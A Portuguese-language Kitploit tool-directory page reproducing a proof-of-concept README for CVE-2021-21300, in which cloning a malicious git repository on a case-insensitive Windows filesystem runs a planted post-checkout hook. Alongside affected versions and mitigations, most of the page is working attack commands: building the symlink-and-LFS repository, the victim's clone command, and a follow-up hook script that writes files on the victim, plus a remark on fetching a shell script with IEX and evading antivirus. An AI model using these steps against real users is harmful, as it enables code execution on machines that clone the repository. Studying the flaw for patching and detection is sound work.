Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/fengzhouc/cve-2021-21300
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoMovimento LateralShellcodePós-ExploraçãoComando e ControleFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubfengzhouc/cve-2021-21300

CVE-2021-21300

Exploit de prova de conceito para CVE-2021-21300, demonstrando execução remota de código via clonagem maliciosa de repositório git com abuso de links simbólicos e filtros em sistemas de arquivos que não diferenciam maiúsculas de minúsculas.

3há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

CVE-2021-21300

Em várias versões do git, o tratamento de links simbólicos não é rigoroso. Após fazer upload de arquivos para o git em um sistema de arquivos que diferencia maiúsculas de minúsculas (por exemplo, Linux), clonar um repositório malicioso em um host que usa um sistema de arquivos que não diferencia maiúsculas de minúsculas (por exemplo, Windows) pode levar à execução remota de comandos.

Versões Afetadas

Da versão 2.15 até a atual 2.30.1

Soluções

  1. Atualizar a versão

  2. Seguir abaixo

Desabilitar symlinks do git: git config --global core.symlinks false

Desabilitar o process filter (normalmente usado pelo LFS), pode ser verificado com git config --show-scope --get-regexp 'filter\..*\.process'

Condições de Gatilho

  1. O repositório contém um link simbólico e um diretório com o mesmo nome

  2. O link simbólico aponta para um diretório especial (atualmente parece ser .git/hooks)

  3. A máquina vítima precisa ter permissões suficientes para executar comandos maliciosos

Reprodução

01 Preparação do Ambiente

① Preparação do Repositório:

Sistema: ubuntux64

Necessita instalar git, git-lfs

Executar o comando git lfs install pode gerar erro

Error: Failed to call git rev-parse --git-dir: exit status 128

Pode ser ignorado

Quando aparecer Git LFS initialized., a instalação está completa.

② Máquina Vítima:

Sistema: win10x64

git for window: Git-2.17.1-64-bit

(https://www.npackd.org/p/git64/2.17.1.2)

A instalação do git for window pode ser toda com as opções padrão.

02 Preparação do Repositório Malicioso

① Criar um novo repositório no GitHub:

Existem muitos tutoriais online, não vou repetir.

② Construir o repositório malicioso no Ubuntu e enviar para o GitHub:

Execute os comandos abaixo:

root@kitploit:~
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [自己的仓库地址]
$ git push -u origin main

03 Teste de Ataque

No PowerShell (Administrador) do Windows 10, execute o comando abaixo:

git clone -c core.symlinks=true [自己的仓库地址]

Após o clone, se aparecer PWNED, a execução remota de comandos foi bem-sucedida.

Pode-se ver que, durante o clone, o comando no arquivo post-checkout foi executado.

A ideia é usar IEX para baixar um script e, em seguida, ouvir com o Kali para obter um shell, mas a maioria dos scripts é detectada e bloqueada; contornar com técnicas de evasão de antivírus deve ser possível.

04 Exploração Avançada

Adicionar um arquivo de script hack.sh no diretório

Conteúdo:

root@kitploit:~
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"

Modificar o comando executado no post-checkout para executar o script

printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout

Baixar ferramenta